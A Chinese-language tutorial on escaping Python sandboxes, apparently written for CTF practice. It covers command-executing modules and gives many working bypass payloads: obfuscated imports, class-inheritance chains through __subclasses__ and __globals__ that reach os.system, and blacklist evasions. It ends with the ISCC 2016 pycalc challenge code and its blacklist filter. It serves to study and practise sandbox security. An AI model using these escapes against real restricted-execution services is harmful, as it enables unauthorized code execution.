欧酷网

您的位置:主页>算法>

python沙箱逃逸

目录

      • 1.预备内容

        • python中内置执行系统命令的模块:

          • subprocess

          • os

          • commands

          • timeit

          • paltform

          • pty

        • 可执行系统命令的函数

        • 两个魔术方法

        • python中可以执行任意代码的函数

        • 导入os或sys的库

      • 2. 沙箱逃逸

        • 花式import

        • 花式处理字符串

        • 恢复sys.modules

        • 花式执行函数

        • 通过继承关系逃逸

        • 文件读写

        • 其他

      • 3.小结/思路

      • 4.实例

        • 1. ISCC 2016 Pwn300 pycalc

        • 2.__ future _

        • 3.hackuctf 2012

        • 4.future

        • 5.cuit2017

        • payload集锦

      • 5.供参考资料/源码下载

1.预备内容

这部分内容只需要简单的浏览有个具体的印象即可。如果感兴趣可以谷歌、百度去深入理解。

python中内置执行系统命令的模块:

os
commands:(python 2.x)
subprocess
timeit
paltform
pty
bdb
cgi


subprocess

模块用于管理子进程。可以调用外部命令作为子进程,还可以生成新的进程、连接到它们的input/output/error管道,同时获取它们的返回码。

subprocess.Popen类
该类用于在一个新进程中执行一个子程序,subprocess的run、call、check_call、check_output、getoutput、getstatusoutput函数均属于该类


os

模块用于访问操作系统功能的模块。
通用操作:1.系统操作 2.目录操作 3.判断操作

系统操作:
os.sep 用于区别系统路径分隔符
os.getenv 读取环境变量
os.getcwd 获取当前路径 …
目录操作:(增删改查)
os.mkdir 创建一个目录
os.removedirs 可删除多层递归的空目录,有文件则无法删除
os.rename() 重命名 …
判断操作:
os.path.exists(path) 判断文件或者目录是否存在
os.path.isfile(path) 判断是否为文件
os.path.isdir(path) 判断是否为目录 …

path模块os.path.x
x:basemae,dirname,getsize,abspath,join, …


commands

该模块在3.x中已经被subprocess取代。但是在2.x的早期版本中它也是重要的内置模块之一,共有三个函数:

getoutput(cmd):执行cmd命令,并返回输出的内容,返回结果为str。
getstatus(file):返回执行ls -ld file命令的结果。该函数已被python丢弃,不建议使用
getstatusoutput(cmd): 执行cmd命令,并返回执行的状态和输出的内容,返回结果为int和str。


timeit

时间模块,用于准确测量代码执行时间
该模块定义了三个实用函数和一个公共类。

timeit.timeit(stmt=‘pass’, setup=‘pass’, timer=, number=1000000)
创建一个 Timer 实例,参数分别是 stmt:需要测量的语句或函数,setup:初始化代码或构建环境的导入语句,timer:计时函数,number:每一次测量中语句被执行的次数

timeit.repeat(stmt=‘pass’, setup=‘pass’, timer=, repeat=3, number=1000000)
创建一个 Timer 实例,参数分别是 stmt:需要测量的语句或函数,setup:初始化代码或构建环境的导入语句,timer:计时函数,repeat:重复测量的次数,number:每一次测量中语句被执行的次数

timeit.default_timer()
计时器

class timeit.Timer(stmt=‘pass’, setup=‘pass’, timer=)
计算小段代码执行速度的类,构造函数需要的参数有 stmt:需要测量的语句或函数,setup:初始化代码或构建环境的导入语句,timer:计时函数。前两个参数的默认值都是 ‘pass’,timer 参数是平台相关的;前两个参数都可以包含多个语句,多个语句间使用分号(;)或新行分隔开。

模块的一些方法 …


paltform

该模块用于获得操作系统的相关信息

platform.platform() 获得操作系统名称以及版本号
platform.node() 获得计算机的网络名称
python.python_compiler() 获得计算机python中的编译器相关信息
… …


pty

该模块定义了处理伪终端的操作:启动另一个进程并能够以编程方式写入和读取其控制终端。
模块定义了以下功能:

pty.fork() 将子进程的控制终端连接到一个伪终端
pty.openpty() 打开一个新的伪终端
pty.spawn() 产生一个进程,将其控制终端与当前进程的标注io连接起来。(常用来挡住坚持从控制终端读取的程序)



可执行系统命令的函数

print(os.system('whoami'))print(os.popen('whoami').read()) print(os.popen2('whoami').read()) # 2.xprint(os.popen3('whoami').read()) # 2.xprint(os.popen4('whoami').read()) # 2.x#下位模块commands内容commands.getoutput('ls *.sh')>>>'install_zabbix.sh\nmanage_deploy.sh\nmysql_setup.sh\npython_manage_deploy.sh\nsetup.sh'>commands.getstatusoutput('ls *.sh')commands.getstatus('ls *.sh')>>> '0'commands.getstatusoutput('ls *.sh')>>>(0,'install_zabbix.sh\nmanage_deploy.sh\nmysql_setup.sh\npython_manage_deploy.sh\nsetup.sh'



两个魔术方法

第一个是类具有的——__dict__魔术方法
第二个是实例、类、函数都具有的——__getattribute__魔术方法

dir([]) #实例
dir([].class) #类
dir([].append) #函数

#查看实例中支持的方法>>> class haha:...     a=7...>>> dir(haha)['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'a']#查看类中支持的方法/对象>>> dir([].__class__)['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'clear', 'copy', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']>>> dir([].copy.__class__)['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__']#查看具体函数中支持的方法>>> dir([].__class__.__base__.__subclasses__()[72].__init__)['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__name__', '__ne__', '__new__', '__objclass__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__']#使用__dict__调用[].__class__的__init__方法>>> [].__class__.__dict__['__init__']<slot wrapper '__init__' of 'list' objects>#使用__getattribute__调用[].__class__的__init__方法>>> [].__class__.__getattribute__([],'__init__')<method-wrapper '__init__' of list object at 0x000001BAB90317C0>#第一个返回的是个方法,第二个返回一个实例空间的方法#通常构造payload1的时候:[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os']只有第一种的方法(dict)才具有__globals__

python中可以执行任意代码的函数

1.timeit
import timeit
timeit.timeit(“import(‘os’).system(‘dir’)”,number=1)
#coding:utf-8 import timeit timeit.timeit(“import(‘os’).system(’’)”, number=1)

2.exec 和eval
eval(‘import(“os”).system(“dir”)’)

3.platform
import platform
print platform.popen(‘dir’).read()
import platform platform.popen(‘id’, mode=‘r’, bufsize=-1).read()

4.random、math
通过读写文件进行,具体情况具体分析。下文有实例

导入os或sys的库

后面需要索引位置的时候可以用index哦。。别真的一个个去数

>>> dir([].__class__).index('__len__')20

需要尽量去熟悉内建库,以及库之间相互的引用关系。

#modules_2 代表python2.x   下同理all_modules_2 = [
    'BaseHTTPServer', 'imaplib', 'shelve', 'Bastion',
 'anydbm', 'imghdr', 'shlex', 'CDROM', 'argparse', 'imp', 'shutil', 'CGIHTTPServer', 'array', 'importlib', 'signal', 'Canvas', 'ast', 'imputil', 'site', 'ConfigParser', 'asynchat', 'inspect', 'sitecustomize', 'Cookie', 'asyncore', 'io', 'smtpd', 'DLFCN', 'atexit', 'itertools', 'smtplib',
  'Dialog', 'audiodev', 'json', 'sndhdr', 'DocXMLRPCServer', 'audioop', 'keyword', 'socket', 'FileDialog', 'base64', 'lib2to3', 'spwd', 'FixTk', 'bdb', 'linecache', 'sqlite3', 'HTMLParser', 'binascii', 'linuxaudiodev', 'sre', 'IN', 'binhex', 'locale', 'sre_compile', 'MimeWriter', 'bisect', 'logging', 'sre_constants', 'Queue', 'bsddb', 'lsb_release', 'sre_parse', 'ScrolledText', 'bz2', 'macpath', 'ssl', 'SimpleDialog', 'cPickle', 'macurl2path', 'stat', 'SimpleHTTPServer', 'cProfile', 'mailbox', 'statvfs',
   'SimpleXMLRPCServer', 'cStringIO', 'mailcap', 'string', 'SocketServer', 'calendar', 'markupbase', 'stringold', 'StringIO', 'cgi', 'marshal', 'stringprep', 'TYPES', 'cgitb', 'math', 'strop', 'Tix', 'chunk', 'md5', 'struct', 'Tkconstants', 'cmath', 'mhlib', 'subprocess', 'Tkdnd', 'cmd', 'mimetools', 'sunau', 'Tkinter', 'code', 'mimetypes', 'sunaudio', 'UserDict', 'codecs', 'mimify', 'symbol', 'UserList', 'codeop', 'mmap', 'symtable', 'UserString',
    'collections', 'modulefinder', 'sys', '_LWPCookieJar', 'colorsys', 'multifile', 'sysconfig', '_MozillaCookieJar', 'commands', 'multiprocessing', 'syslog', '__builtin__', 'compileall', 'mutex', 'tabnanny', '__future__', 'compiler', 'netrc', 'talloc', '_abcoll', 'contextlib', 'new', 'tarfile', '_ast', 'cookielib', 'nis', 'telnetlib', '_bisect', 'copy',
     'nntplib', 'tempfile', '_bsddb', 'copy_reg', 'ntpath', 'termios', '_codecs', 'crypt', 'nturl2path', 'test', '_codecs_cn', 'csv', 'numbers', 'textwrap', '_codecs_hk', 'ctypes', 'opcode', '_codecs_iso2022', 'curses', 'operator', 'thread', '_codecs_jp', 'datetime', 'optparse', 'threading', '_codecs_kr', 'dbhash', 'os', 'time', '_codecs_tw', 'dbm', 'os2emxpath', 'timeit', '_collections', 'decimal', 'ossaudiodev', 'tkColorChooser', '_csv', 'difflib', 'parser',
      'tkCommonDialog', '_ctypes', 'dircache', 'pdb', 'tkFileDialog', '_ctypes_test', 'dis', 'pickle', 'tkFont', '_curses', 'distutils', 'pickletools', 'tkMessageBox', '_curses_panel', 'doctest', 'pipes', 'tkSimpleDialog', '_elementtree', 'dumbdbm', 'pkgutil', 'toaiff', '_functools', 'dummy_thread', 'platform', 'token', '_hashlib', 'dummy_threading', 'plistlib', 'tokenize', '_heapq', 'email', 'popen2', 'trace', '_hotshot', 'encodings', 'poplib', 'traceback', '_io', 'ensurepip', 'posix', 'ttk', '_json', 'errno', 'posixfile', 'tty', '_locale', 'exceptions', 'posixpath', 'turtle', '_lsprof', 'fcntl', 'pprint', 'types',
       '_md5', 'filecmp', 'profile', 'unicodedata', '_multibytecodec', 'fileinput', 'pstats', 'unittest', '_multiprocessing', 'fnmatch', 'pty', 'urllib', '_osx_support', 'formatter', 'pwd', 'urllib2', '_pyio', 'fpformat', 'py_compile', 'urlparse', '_random', 'fractions', 'pyclbr', 'user', '_sha', 'ftplib', 'pydoc', 'uu', '_sha256', 'functools', 'pydoc_data', 'uuid', '_sha512',
        'future_builtins', 'pyexpat', 'warnings', '_socket', 'gc', 'quopri', 'wave', '_sqlite3', 'genericpath', 'random', 'weakref', '_sre', 'getopt', 're', 'webbrowser', '_ssl', 'getpass', 'readline', 'whichdb', '_strptime', 'gettext', 'repr', 'wsgiref', '_struct', 'glob', 'resource', 'xdrlib', '_symtable', 'grp', 'rexec', 'xml', '_sysconfigdata', 'gzip', 'rfc822', 'xmllib', '_sysconfigdata_nd', 'hashlib', 'rlcompleter', 'xmlrpclib', '_testcapi', 'heapq', 'robotparser', 'xxsubtype', '_threading_local', 'hmac', 'runpy', 'zipfile', '_warnings', 'hotshot', 'sched',
         'zipimport', '_weakref', 'htmlentitydefs', 'select', 'zlib', '_weakrefset', 'htmllib', 'sets', 'abc', 'httplib', 'sgmllib', 'aifc', 'ihooks', 'sha']all_modules_3 = [
    'AptUrl', 'hmac', 'requests_unixsocket', 'CommandNotFound', 'apport', 'hpmudext', 'resource', 'Crypto', 'apport_python_hook', 'html', 'rlcompleter', 'DistUpgrade', 'apt', 'http', 'runpy', 'HweSupportStatus', 'apt_inst', 'httplib2', 'scanext', 'LanguageSelector', 'apt_pkg', 'idna', 'sched', 'NvidiaDetector', 'aptdaemon', 'imaplib', 'secrets',
     'PIL', 'aptsources', 'imghdr', 'secretstorage', 'Quirks', 'argparse', 'imp', 'select', 'UbuntuDrivers', 'array', 'importlib', 'selectors', 'UbuntuSystemService', 'asn1crypto', 'inspect', 'shelve', 'UpdateManager', 'ast', 'io', 'shlex', '__future__', 'asynchat', 'ipaddress', 'shutil', '_ast', 'asyncio', 'itertools', 'signal', '_asyncio', 'asyncore', 'janitor', 'simplejson', '_bisect', 'atexit', 'json', 'site', '_blake2', 'audioop', 'keyring', 'sitecustomize',
      '_bootlocale', 'base64', 'keyword', 'six', '_bz2', 'bdb', 'language_support_pkgs', 'smtpd', '_cffi_backend', 'binascii', 'launchpadlib', 'smtplib', '_codecs', 'binhex', 'linecache', 'sndhdr', '_codecs_cn', 'bisect', 'locale', 'socket', '_codecs_hk', 'brlapi', 'logging', 'socketserver', '_codecs_iso2022', 'builtins', 'louis', 'softwareproperties', '_codecs_jp', 'bz2', 'lsb_release', 'speechd', '_codecs_kr', 'cProfile', 'lzma', 'speechd_config', '_codecs_tw', 'cairo', 'macaroonbakery', 'spwd', '_collections', 'calendar', 'macpath', 'sqlite3', '_collections_abc', 'certifi',
       'macurl2path', 'sre_compile', '_compat_pickle', 'cgi', 'mailbox', 'sre_constants', '_compression', 'cgitb', 'mailcap', 'sre_parse', '_crypt', 'chardet', 'mako', 'ssl', '_csv', 'chunk', 'markupsafe', 'stat', '_ctypes', 'cmath', 'marshal', 'statistics', '_ctypes_test', 'cmd', 'math', 'string', '_curses', 'code', 'mimetypes', 'stringprep', '_curses_panel', 'codecs', 'mmap', 'struct', '_datetime', 'codeop', 'modual_test', 'subprocess', '_dbm', 'collections', 'modulefinder', 'sunau', '_dbus_bindings', 'colorsys',
        'multiprocessing', 'symbol', '_dbus_glib_bindings', 'compileall', 'nacl', 'symtable', '_decimal', 'concurrent', 'netrc', 'sys', '_dummy_thread', 'configparser', 'nis', 'sysconfig', '_elementtree', 'contextlib', 'nntplib', 'syslog', '_functools', 'copy', 'ntpath', 'systemd', '_gdbm', 'copyreg', 'nturl2path', 'tabnanny', '_hashlib', 'crypt', 'numbers', 'tarfile', '_heapq', 'cryptography', 'oauth', 'telnetlib', '_imp', 'csv', 'olefile', 'tempfile', '_io', 'ctypes', 'opcode', 'termios', '_json', 'cups', 'operator', 'test', '_locale', 'cupsext', 'optparse', 'textwrap', '_lsprof', 'cupshelpers', 'orca', '_lzma', 'curses', 'os',
         'threading', '_markupbase', 'datetime', 'ossaudiodev', 'time', '_md5', 'dbm', 'parser', 'timeit', '_multibytecodec', 'dbus', 'pathlib', 'token', '_multiprocessing', 'deb822', 'pcardext', 'tokenize', '_opcode', 'debconf', 'pdb', 'trace', '_operator', 'debian', 'pexpect', 'traceback', '_osx_support', 'debian_bundle', 'pickle', 'tracemalloc', '_pickle', 'decimal', 'pickletools', 'tty', '_posixsubprocess', 'defer', 'pipes', 'turtle',
          '_pydecimal', 'difflib', 'pkg_resources', 'types', '_pyio', 'dis', 'pkgutil', 'typing', '_random', 'distro_info', 'platform', 'ufw', '_sha1', 'distro_info_test', 'plistlib', 'unicodedata', '_sha256', 'distutils', 'poplib', 'unittest', '_sha3', 'doctest', 'posix', 'urllib', '_sha512', 'dummy_threading', 'posixpath', 'urllib3', '_signal', 'email', 'pprint', 'usbcreator', '_sitebuiltins', 'encodings', 'problem_report', 'uu', '_socket', 'enum', 'profile', 'uuid', '_sqlite3', 'errno', 'pstats', 'venv', '_sre', 'faulthandler', 'pty', 'wadllib', '_ssl', 'fcntl', 'ptyprocess', 'warnings', '_stat', 'filecmp', 'pwd', 'wave', '_string', 'fileinput',
           'py_compile', 'weakref', '_strptime', 'fnmatch', 'pyatspi', 'webbrowser', '_struct', 'formatter', 'pyclbr', 'wsgiref', '_symtable', 'fractions', 'pydoc', 'xdg', '_sysconfigdata_m_linux_x86_64-linux-gnu', 'ftplib', 'pydoc_data', 'xdrlib', '_testbuffer', 'functools', 'pyexpat', 'xkit', '_testcapi', 'gc', 'pygtkcompat', 'xml', '_testimportmultiple', 'genericpath', 'pymacaroons', 'xmlrpc', '_testmultiphase', 'getopt', 'pyrfc3339', 'xxlimited',
            '_thread', 'getpass', 'pytz', 'xxsubtype', '_threading_local', 'gettext', 'queue', 'yaml', '_tracemalloc', 'gi', 'quopri', 'zipapp', '_warnings', 'glob', 'random', 'zipfile', '_weakref', 'grp', 're', 'zipimport', '_weakrefset', 'gtweak', 'readline', 'zlib', '_yaml', 'gzip', 'reportlab', 'zope', 'abc', 'hashlib', 'reprlib', 'aifc', 'heapq']



2. 沙箱逃逸

进入正题,先介绍一些方法。具体构造payload的时候一般都是需要组合使用的。

花式import

禁用import os肯定不安全,因为:

import..osimport...os

都可以实现同import os同样的效果。
就算多个空格的操作也被过滤了,python中能import的还有

importimport(‘os’),import, importlib:importlib.import_module(‘os’).system(‘ls’)
还可以通过execfile实现(限制python2.x,3中该模块被删除):
execfile(’/usr/lib/python2.7/os.py’)
system(‘ls’)
但是可以间接这样实现(通用)
with open(’/usr/lib/python3.6/os.py’,‘r’) as f:
exec(f.read())
system(‘ls’)



花式处理字符串

沙箱中往往会禁止一些危险的字符串出现,比如os、eval等。但是可以通过花式处理字符串的方法,不直接通过“os”来导入而是通过“os”的别名来导入。
以os库的引入为例。
如果沙箱ban了os库,代码中如果出现了os,那么肯定是不让执行的。但是可以通过其他的操作来间接引入os:

 > __import__('so'[::-1]).system('ls')  #逆序打印
 > b = 'o'
   a = 's'
   __import__(a+b).system('ls')     #字符拼接

 >>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])  #eval函数root0>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])    #exec函数root

但是,一般eval和exec都会被过滤,因为他们同样很危险。
对字符串的变形处理还有很多的方式:
逆序、拼接、base64、hex、rot13、rot1 …都可以实现这种操作,根据具体情况来选择变形方式。



恢复sys.modules

sys.modules是一个字典,其中存储了加载过的模块信息,如果python是刚启动所列出的模块就是解释器在启动时自动加载的模块。有些库(eg:os)是默认被加载的,但是不能直接使用,因为该 字典中的模块位经import加载对于当前空间是不可见的。

sys.modules['os'] = 'not allowed' del sys.modules['os']import os
os.system('ls')

还有__builtins__的导入方法

(lambda x:1).__globals__['__builtins__'].eval("__import__('os').system('ls')")(lambda x:1).__globals__['__builtins__'].__dict__['eval']("__import__('os').system('ls')")


花式执行函数

如果system函数被禁止了,即无法通过os.system执行系统命令,且system也无法通过处理字符串的方法来实现,所以要想其他的途径来解决这一问题。

  1. os模块中能执行系统命令的函数还有很多(见开头可执行系统命令的函数)

  2. 还可以通过getattr、getattrgetattribute,来拿到对象方法、属性。
import osgetattr(os, 'metsys'[::-1])('whoami')#如果不让出现importgetattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')root0

关于__getattribute__这里有一个很有意思的现象:

class Tree(object):
    def __init__(self,name):
        self.name = name
        self.cate = "plant"
    def __getattribute__(self,obj):
        if obj.endswith("e"):
            return object.__getattribute__(self,obj)
        else:
            return self.call_wind()
    def call_wind(self):
        return "树大招风"aa = Tree("大树")print(aa.name)#因为name是以e结尾,所以返回的还是name,所以打印出"大树"print(aa.wind)#这个命令首先调用__getattribute__方法,经过判断进入self.call_wind(),但是去调用aa这个对象的call_wind属性时,前提是去调用__getattribute__,所以这样形成了一个死循环且没有退出机制,最终程序就会报错。

3. 通过内建模块builtin、builtins,__builtin__(到了3.x变成了builtins)与__builtins__。查看模块需要import才可,即虽然这些模块是内建函数(不需要导入就可以使用里面的内容),但是如果需要查看模块的信息还是需要import它们。
2.x>>> __builtin__
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>NameError: name '__builtin__' is not defined>>>>> import __builtin__>>> __builtin__<module '__builtin__' (built-in)>3.x:>>> builtins
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>NameError: name 'builtins' is not defined>>> import builtins>>> builtins<module 'builtins' (built-in)>

builtins__两者都有。故下都用__builtins__表示。
如果__builtins__内部的reload没被删除,可以使用reload恢复__builtins
,从而恢复__builtins__中被删除的危险函数(eval…)

2.x 的 reload 是内建的,3.x 需要 import imp,然后再 imp.reload。reload 的参数是 module,所以肯定还能用于重新载入其他模块,这个放在下面说。



通过继承关系逃逸

Python支持多重继承,2.2之前对于方法的判断搜索是按照深度优先(经典类),后发展成广度有限(新式类),后来新式类的搜索算法变成了C3算法。python中新式类都有个属性(mro)是一个元组,记录了类的继承关系。

>>> ''.__class__.__mro__(<class 'str'>, <class 'object'>)

一个类的实例在获取class的属性时候会指向该实例相应的类。如上的’'属于str类,并且他继承了object类。
同时判断某个实例继承的函数还有__base__ 和__bases__

>>> ''.__class__.__base__<class 'object'>>>> ''.__class__.__bases__(<class 'object'>,)>>> class test1:...     pass...>>> test1.__base__<class 'object'>

那么通过继承关系又来利用呢?
在设置沙箱的时候删除了os,即无法直接引入os,但是如果有个库叫ss,在ss中引入了os,那么就可以通过__globals__拿到 os。

(__globals__是函数所在的全局命名空间中所定义的全局变量,globals:该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量

例如:site库就引入了os。

>>> import site>>> site.os<module 'os' from 'C:\\Users\\xx\\AppData\\Local\\Programs\\Python\\Python39\\lib\\os.py'>

也就是说直接能直接引用site的话,就相当于引入了os。但是site 如果也被禁用了呢?
那么我们可以利用reload来花式加载os:

>>> import site>>> os
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>NameError: name 'os' is not defined>>> os = reload(site.os)>>> os.system('whoami')xx0

使用这种方式,不仅仅可以一步跳步,还可以跳几步,即A->os, B->A->os都可以实现这部分。

已经提前导入了os的内置模块
<class ‘site._Printer’>
<class ‘site.Quitter’>
<class ‘warnings.catch_warnings’>

eg:

#A->os示例>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i...(0, <type 'type'>)(1, <type 'weakref'>)(2, <type 'weakcallableproxy'>)(3, <type 'weakproxy'>)(4, <type 'int'>)(5, <type 'basestring'>)(6, <type 'bytearray'>)(7, <type 'list'>)(8, <type 'NoneType'>)(9, <type 'NotImplementedType'>)(10, <type 'traceback'>)(11, <type 'super'>)(12, <type 'xrange'>)(13, <type 'dict'>)(14, <type 'set'>)(15, <type 'slice'>)(16, <type 'staticmethod'>)(17, <type 'complex'>)(18, <type 'float'>)(19, <type 'buffer'>)(20, <type 'long'>)(21, <type 'frozenset'>)(22, <type 'property'>)(23, <type 'memoryview'>)(24, <type 'tuple'>)(25, <type 'enumerate'>)(26, <type 'reversed'>)(27, <type 'code'>)(28, <type 'frame'>)(29, <type 'builtin_function_or_method'>)(30, <type 'instancemethod'>)(31, <type 'function'>)(32, <type 'classobj'>)(33, <type 'dictproxy'>)(34, <type 'generator'>)(35, <type 'getset_descriptor'>)(36, <type 'wrapper_descriptor'>)(37, <type 'instance'>)(38, <type 'ellipsis'>)(39, <type 'member_descriptor'>)(40, <type 'file'>)(41, <type 'PyCapsule'>)(42, <type 'cell'>)(43, <type 'callable-iterator'>)(44, <type 'iterator'>)(45, <type 'sys.long_info'>)(46, <type 'sys.float_info'>)(47, <type 'EncodingMap'>)(48, <type 'fieldnameiterator'>)(49, <type 'formatteriterator'>)(50, <type 'sys.version_info'>)(51, <type 'sys.flags'>)(52, <type 'exceptions.BaseException'>)(53, <type 'module'>)(54, <type 'imp.NullImporter'>)(55, <type 'zipimport.zipimporter'>)(56, <type 'posix.stat_result'>)(57, <type 'posix.statvfs_result'>)(58, <class 'warnings.WarningMessage'>)(59, <class 'warnings.catch_warnings'>)(60, <class '_weakrefset._IterationGuard'>)(61, <class '_weakrefset.WeakSet'>)(62, <class '_abcoll.Hashable'>)(63, <type 'classmethod'>)(64, <class '_abcoll.Iterable'>)(65, <class '_abcoll.Sized'>)(66, <class '_abcoll.Container'>)(67, <class '_abcoll.Callable'>)(68, <type 'dict_keys'>)(69, <type 'dict_items'>)(70, <type 'dict_values'>)(71, <class 'site._Printer'>)(72, <class 'site._Helper'>)(73, <type '_sre.SRE_Pattern'>)(74, <type '_sre.SRE_Match'>)(75, <type '_sre.SRE_Scanner'>)(76, <class 'site.Quitter'>)(77, <class 'codecs.IncrementalEncoder'>)(78, <class 'codecs.IncrementalDecoder'>)>>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os']<module 'os' from '/usr/lib/python2.7/os.pyc'#实例2>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()['updatecache', 'clearcache', '__all__', '__builtins__', '__file__', 'cache', 'checkcache', 'getline', '__package__', 'sys', 'getlines', '__name__', 'os', '__doc__']>>> a=[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]>>>>a<module 'os' from '/usr/lib/python2.7/os.pyc'>#成功导入继续利用>>>a.__dict__.keys().index('system')79>>> a.__dict__.keys()[79]'system'>>> b=a.__dict__.values()[79]>>> b<built-in function system>>>> b('whoami')root

两个例子可以看到执行后又出现了os。

 #A->B->os                
 # 该示例限python2.x
 >>> import warnings >>> warnings.os Traceback (most recent call last):   File "<stdin>", line 1, in <module> AttributeError: 'module' object has no attribute 'os'>>> warnings.linecache <module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>>>>>>> warnings.linecache.os <module 'os' from '/usr/lib/python2.7/os.pyc'>
 #所以继承链就可以写成这样>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')root0-------------------------------------------#warnings库中还有一个可以利用的函数,warnings.catch_warnings,它有个_module属性.    >>> [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')root0#3.x 中的warnings虽然没有 linecache,也有__builtins__>>> ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami')root0#py3.x 中有<class 'os._wrap_close'>>>> ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami')root0#如果object可以使用,上面的式子可以简化:>>> object.__subclasses__()[117].__init__.__globals__['system']('whoami')root0#利用builtin_function_or_method 的 __call__:"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1')#上式可简化[].__getattribute__('append').__class__.__call__(eval, '1+1')#还有一种利用方式class test(dict):
    def __init__(self):
        print(super(test, self).keys.__class__.__call__(eval, '1+1'))
 # 如果是 3.x 的话可以简写为:
       # super().keys.__class__.__call__(eval, '1+1'))test()

通过上面的描述可以知道通过函数的继承可以多样化的实现导入需要的函数,方法来实现需要的逃逸目的。
总结而言:
1.通过__class__、mrosubclasses、__bases__等等属性/方法去获取 object.
2.根据__globals__找引入的__builtins__或者eval等等能够直接被利用的库,或者找到builtin_function_or_method类/类型
3.__call__后直接运行eval



文件读写

python2.x中有两个内建函数file,open可以用于文件读取(python3.x中没用有file)
types.FileType(rw)、platform.popen(rw)、linecache.getlines®库是可以写文件的,危害性比读大。
因为,如果可以写文件,可以先将一个文件写好(xx.py),再import进来。

xx.py:         #注:xx命名最好要挑选一个常用的标准库的名字,因为过滤的库名可能采用的是白名单的方式。但是不能和sys.modules中的库重复。否则无法正常利用,python会直接从sys.modules中加入
	import os	print(os.system('whoami'))>>> import math
root0

根据上面的内容可以找出几种payload构造来绕过:

builtins.open(‘filename’).read() ‘context’ ().class.base.subclasses()

40

.read() ‘context’



其他

沙箱中还可能会过滤[、]两个符号。对于这种情况就需要用pop、getitem 代替[ 、 ]两个符号缺少带来的影响。

>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()'root\n'#python 3.6以后可以使用新特性 f-string>>> f'{__import__("os").system("whoami")}'root'0'



3.小结/思路

一般逃逸使用这几个库来尝试:

os
subprocess
commands

如果都被ban了可以尝试预备内容中谈到的两个魔术方法来绕过字符串的限制,或者使用内建函数来绕过。




4.实例

光看内容总是觉得一头雾水,只有经过一定的练习后再阅读一遍本文才能带来更多的收获。
以下题目我都会直接放在我的资源里欢迎大家来下载练习。



1. ISCC 2016 Pwn300 pycalc

#!/usr/bin/env python2# -*- coding:utf-8 -*-def banner():
    print "============================================="
    print "   Simple calculator implemented by python   "
    print "============================================="
    returndef getexp():
    return raw_input(">>> ")def _hook_import_(name, *args, **kwargs):
    module_blacklist = [****]
    rbid in module_blacklist:
        if name == forbid:        # don't let user import these modules
            raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
    # normal modules can be imported
    return __import__(name, *args, **kwargs)def sandbox_filter(command):
    blacklist = ['exec', 'sh', '__getitem__', '__setitem__',
                 '=', 'open', 'read', 'sys', ';', 'os']
    for forbid in blacklist:
        if forbid in command:
            return 0
    return 1def sandbox_exec(command):      # sandbox user input
    result = 0
    __sandboxed_builtins__ = dict(__builtins__.__dict__)
    __sandboxed_builtins__['__import__'] = _hook_import_    # hook import
    del __sandboxed_builtins__['open']
    _global = {
        '__builtins__': __sandboxed_builtins__    }
    if sandbox_filter(command) == 0:
        print 'Malicious user input detected!!!'
        exit(0)
    command = 'result = ' + command    try:
        exec command in _global     # do calculate in a sandboxed environment
    except Exception, e:
        print e        return 0
    result = _global['result']  # extract the result
    return result

banner()while 1:
    command = getexp()
    print sandbox_exec(command)

代码中的exec command in _global很安全,exec运行在自定义的全局命名空间中,使得至于restricted execution mode环境中,所以很多payload都无法执行。但是也正是如此有一些其他特殊的方法可以执行。

>>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__
